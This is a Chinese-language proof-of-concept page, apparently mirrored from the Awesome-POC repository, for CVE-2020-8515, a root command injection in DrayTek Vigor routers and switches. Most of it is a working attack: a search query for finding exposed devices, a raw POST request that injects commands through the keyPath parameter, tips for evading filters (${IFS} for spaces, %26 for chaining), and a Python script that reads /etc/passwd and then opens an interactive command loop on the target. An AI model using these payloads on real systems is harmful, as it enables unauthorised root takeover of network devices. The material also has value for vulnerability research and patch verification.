mirror of
https://github.com/Threekiii/Awesome-POC.git
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132 lines
4.7 KiB
Markdown
132 lines
4.7 KiB
Markdown
# DrayTek企业网络设备 远程命令执行 CVE-2020-8515
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## 漏洞描述
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DrayTek URI未能正确处理SHELL字符，远程攻击者可以利用该漏洞提交特殊的请求，可以ROOT权限执行任意命令。
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远程命令注入漏洞被标记为CVE-2020-8515，主要影响了DrayTek Vigor网络设备，包括企业交换机、路由器、负载均衡器和VPN网关。
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## 漏洞影响
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```
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Vigor2960 < v1.5.1
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Vigor300B < v1.5.1
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Vigor3900 < v1.5.1
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VigorSwitch20P2121 <= v2.3.2
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VigorSwitch20G1280 <= v2.3.2
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VigorSwitch20P1280 <= v2.3.2
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VigorSwitch20G2280 <= v2.3.2
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VigorSwitch20P2280 <= v2.3.2
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```
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## 网络测绘
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```
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title="Vigor 2960"
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```
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## 漏洞复现
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登录页面抓包
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请求包如下
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```plain
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POST /cgi-bin/mainfunction.cgi HTTP/1.1
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Host: xxx.xxx.xxx.xxx
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Connection: close
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Content-Length: 67
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
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Content-Type: text/plain; charset=UTF-8
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Accept: */*
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: cors
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Sec-Fetch-Dest: empty
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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action=login&keyPath=%27%0A%2fbin%2fls%0A%27&loginUser=a&loginPwd=a
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```
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其中出现注入点的参数为 **keyPath**
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出现空格需要替换，例如 cat /etc/passwd --> cat${IFS}/etc/passwd
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可以使用 & 执行额外一条命令 (URL编码为 %26)
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## 漏洞POC
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```python
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import requests
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import sys
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import random
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import re
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: DrayTek企业网络设备 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mCmd >>> pwd \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/cgi-bin/mainfunction.cgi"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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data = "action=login&keyPath=%27%0A%2fbin%2fcat${IFS}/etc/passwd%0A%27&loginUser=a&loginPwd=a"
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
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print("\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m".format(target_url))
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if "root" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url))
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print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
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while True:
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Cmd = input("\033[35mCmd >>> \033[0m")
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if Cmd == "exit":
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sys.exit(0)
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else:
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POC_2(target_url, Cmd)
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else:
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print("\033[31m[x] 不存在漏洞 \033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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sys.exit(0)
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def POC_2(target_url, Cmd):
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vuln_url = target_url + "/cgi-bin/mainfunction.cgi"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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Cmd = Cmd.replace(' ','${IFS}')
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data = "action=login&keyPath=%27%0A%2fbin%2f%26{}%0A%27&loginUser=a&loginPwd=a".format(Cmd)
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
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if response.status_code == 200:
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print("\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m".format(target_url))
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print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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